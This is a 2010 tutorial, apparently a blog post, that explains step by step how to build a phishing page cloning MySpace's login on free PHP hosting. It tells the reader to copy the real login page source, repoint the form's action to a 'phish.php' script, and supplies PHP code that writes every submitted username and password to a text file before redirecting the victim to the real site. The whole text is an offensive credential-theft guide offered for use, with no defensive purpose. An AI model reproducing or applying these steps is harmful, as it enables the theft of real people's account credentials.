Dec 5, 2010

Phishing Page

All you need is a web hosting service with PHP enabled.
We will use t35. Go to Free Web Hosting with PHP, Domains, and FTP – T35 Hosting[] and sign up for a free account. In this tutorial we will make a phishing site for Myspace(the procedure is equivalent for most of the sites). While not signed in myspace, open anyone’s profile and click on his picture. That will lead you to Myspace’s login page that has the red box with”You Must Be Logged-In to do That!” just above your login form. Now, click File>Save Page As, and save the myspace page to your Desktop. Open your saved page with any text editor(notepad, wordpad etc.). Select all of the text(the source code), and copy it.
Get back to your t35 account and click on ‘New File’ and paste the Myspace’s source code there. Name the file ‘login.php’(without the ”), and save it.
Now you have made a page equal to Myspace. Everything on that page will have the same function as if it were on the original site. The link to your phish site will be ‘‘ – where ‘xxx’ is the name of your account.
But there is a little problem. When someone enters his username and password and press login, it logs him into the real myspace.
What do we need to change?
What we need to change is the action of the ‘login’ button, so instead of logging them into the real site, it writes the username and password to a text file.
Open your ‘login.php’ file. Search in the code for keywords ‘action=’.
There will be several ‘action=some link’ in the myspace’s source code(for the sign in button, search button, etc.). We need to find the ‘action=some link’ that refers to the Login button.
After some searching, we find the Code:
Member Login
<form action=”” method=”post” id=”LoginForm” name=”aspnetForm”>
<input type=”hidden” name=”__VIEWSTATE” id=”__VIEWSTATE” value=”/wEPDwUJNTMzMjE3MzI5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVB vc3RCYWNrS2V5X18WAgUwY3RsMDAkT WFpbiRTcGxhc2hEaXNwbGF5JGN0bDAwJFJlbWVtYmVyX0NoZWN rYm94BTBjdGwwMCRNYWluJFNwbGFza ERpc3BsYXkkY3RsMDAkTG9naW5fSW1hZ2VCdXR0b24=” />
and we know that ‘action=”“‘ refers to the login button.
and save the file.
Formerly, when you click the login button it would take the values in the username and password boxes, and execute the functions in the ‘‘ file.
Now when you click the login button it will take the values in the username in password boxes, and execute the functions in the ‘phish.php’ file on your site(which doesn’t exist yet).
All we have to do now, is to create a ‘phish.php’ file that contains a function that writes down the username and password into a text document.
Make another file named ‘phish.php’(without the quotes) and paste the following code in it:
header (’Location: MySpace ‘);
$handle = fopen(”passwords.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
fwrite($handle, “\r\n”);
The function of phish.php is simple. It opens a file named ‘passwords.txt’(and creates it if it doesn’t already exist) and enter the informations there(the username and password).
Congratulations! You have a phisher!
The link to your phish site is: -where ‘xxx’ is your account name.
The link to your text file is:
Or you may access it from your account.
Note that you can choose whatever names you like for login.php, phish.php and passwords.txt. but the .php and .txt must stay the same.